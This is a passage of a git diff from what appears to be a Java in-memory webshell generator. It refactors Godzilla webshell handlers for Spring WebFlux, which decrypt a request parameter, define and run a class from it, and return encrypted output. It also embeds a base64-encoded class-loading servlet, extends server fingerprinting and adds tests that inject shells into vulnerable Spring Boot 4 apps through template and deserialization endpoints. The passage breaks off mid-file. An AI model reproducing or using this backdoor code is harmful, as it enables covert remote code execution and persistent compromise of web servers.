import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.nio.charset.StandardCharsets; @@ -26,15 +27,20 @@ public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { if (p == null) { return chain.filter(exchange); } - String param = getParam(p); - String result = ""; - try { - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); - } catch (Throwable e) { - e.printStackTrace(); - } - return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); + final String paramValue = p; + return Mono.fromCallable(() -> { + String param = getParam(paramValue); + String result = ""; + try { + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } catch (Throwable e) { + e.printStackTrace(); + } + return result; + }).subscribeOn(Schedulers.boundedElastic()) + .flatMap(result -> exchange.getResponse().writeWith( + Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))))); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java index 0bfd80d1..6b26c600 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; +import org.springframework.util.MultiValueMap; import org.springframework.web.reactive.function.server.HandlerFunction; import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -35,33 +37,36 @@ public Mono handle(ServerRequest request) { if (value == null || !value.contains(headerValue)) { return Mono.empty(); } - Object bufferStream = request.formData().flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable ex) { - ex.printStackTrace(); - result.append(getErrorMessage(ex)); - } - return Mono.just(result.toString()); - }); + Mono bufferStream = request.formData() + .flatMap(map -> Mono.fromCallable(() -> process(map, request)) + .subscribeOn(Schedulers.boundedElastic())); return ServerResponse.ok().body(bufferStream, String.class); } + private String process(MultiValueMap map, ServerRequest request) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Throwable ex) { + ex.printStackTrace(); + result.append(getErrorMessage(ex)); + } + return result.toString(); + } @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java index 9d640d8e..98196c7b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java @@ -1,8 +1,10 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import org.springframework.http.ResponseEntity; +import org.springframework.util.MultiValueMap; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -33,33 +35,37 @@ public ResponseEntity invoke(ServerWebExchange exchange) { if (value == null || !value.contains(headerValue)) { return ResponseEntity.notFound().build(); } - Object bufferStream = exchange.getFormData().flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(exchange.getRequest()); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable ex) { - ex.printStackTrace(); - result.append(getErrorMessage(ex)); - } - return Mono.just(result.toString()); - }); + Mono bufferStream = exchange.getFormData() + .flatMap(map -> Mono.fromCallable(() -> process(map, exchange)) + .subscribeOn(Schedulers.boundedElastic())); return ResponseEntity.ok(bufferStream); } + private String process(MultiValueMap map, ServerWebExchange exchange) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(exchange.getRequest()); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Throwable ex) { + ex.printStackTrace(); + result.append(getErrorMessage(ex)); + } + return result.toString(); + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java index 48827485..e6c139b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; -import org.springframework.core.io.buffer.DataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.util.MultiValueMap; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -39,35 +39,36 @@ public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { if (value == null || !value.contains(headerValue)) { return chain.filter(exchange); } - return exchange.getResponse().writeWith(getPost(exchange)); + return exchange.getFormData() + .flatMap(map -> Mono.fromCallable(() -> process(map, exchange)) + .subscribeOn(Schedulers.boundedElastic())) + .flatMap(bytes -> exchange.getResponse().writeWith( + Mono.just(new DefaultDataBufferFactory().wrap(bytes)))); } - private Mono getPost(ServerWebExchange exchange) { - Mono> formData = exchange.getFormData(); - return formData.flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); - f.equals(arrOut); - f.equals(exchange.getRequest()); - f.equals(data); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable e) { - e.printStackTrace(); - result.append(getErrorMessage(e)); + private byte[] process(MultiValueMap map, ServerWebExchange exchange) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(exchange.getRequest()); + f.equals(data); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); } - return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); - }); + } catch (Throwable e) { + e.printStackTrace(); + result.append(getErrorMessage(e)); + } + return result.toString().getBytes(StandardCharsets.UTF_8); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index 52a5bca5..c3013c87 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -44,7 +44,7 @@ public static String exit(@Advice.Return(readOnly = false) String ret) { if (System.getProperty("com.apusic.home") != null) { return ret = "Apusic"; } - if (System.getProperty("bes.home") != null + if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null) && classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) { return ret = "BES"; } @@ -67,7 +67,8 @@ public static String exit(@Advice.Return(readOnly = false) String ret) { || classNames.contains("com.caucho.server.http.ServletServer"))) { return ret = "Resin2"; } - if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { + if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1") + || classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) { return ret = "SpringWebFlux"; } if (System.getProperty("AS_INSTALL") != null diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 2c98c76e..958fbcf2 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -95,7 +95,7 @@ void testValue() { @Test @SneakyThrows - void testJakartaServlet(){ + void testJakartaServlet() { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL"); String className = CommonUtil.generateClassName(); ShellConfig shellConfig = ShellConfig.builder() diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 9de85e0b..0df9085c 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12" apache-dubbo = "2.7.6" tomcat = "8.5.85" -byte-buddy = "1.18.11" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy +byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -okhttp3 = "5.4.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp -fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 +okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp +fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket mockito = "5.21.0" diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index cc61cfb4..8ff9864a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -28,6 +28,8 @@ public class ContainerTool { public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); + public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath()); + public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index ddc5998d..35ac9ed0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -381,7 +381,8 @@ public static MemShellResult generate(String urlPattern, String server, String s } if (Packers.SpELSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer) - || Packers.JXPathSpringGzipJDK17.equals(packer)) { + || Packers.JXPathSpringGzipJDK17.equals(packer) + || Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) { injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); } @@ -429,7 +430,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case Rhino -> VulTool.postIsOk(url + "/rhino", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content); - case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); + case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); @@ -444,6 +445,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); + case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..69920b00 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.memshell.springwebflux; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:21.0.11_10-jdk") + .jarFile(ContainerTool.springBoot4WebfluxJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .targetJdkVersion(Opcodes.V21) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .jattachFile(null) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBFLUX_WEB_FILTER, + ShellType.SPRING_WEBFLUX_HANDLER_METHOD, + ShellType.NETTY_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index f58e1a84..14bda996 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -59,7 +59,8 @@ static Stream casesProvider() { return Stream.of( arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), - arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..e4433496 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:21.0.11_10-jdk") + .jarFile(ContainerTool.springBoot4JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V21) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .assertLogs(false) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); + + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot4") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V21) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + static Stream tomcatCasesProvider() { + return generateTestCases(TOMCAT_CONFIG); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java new file mode 100644 index 00000000..b0ab83da --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import 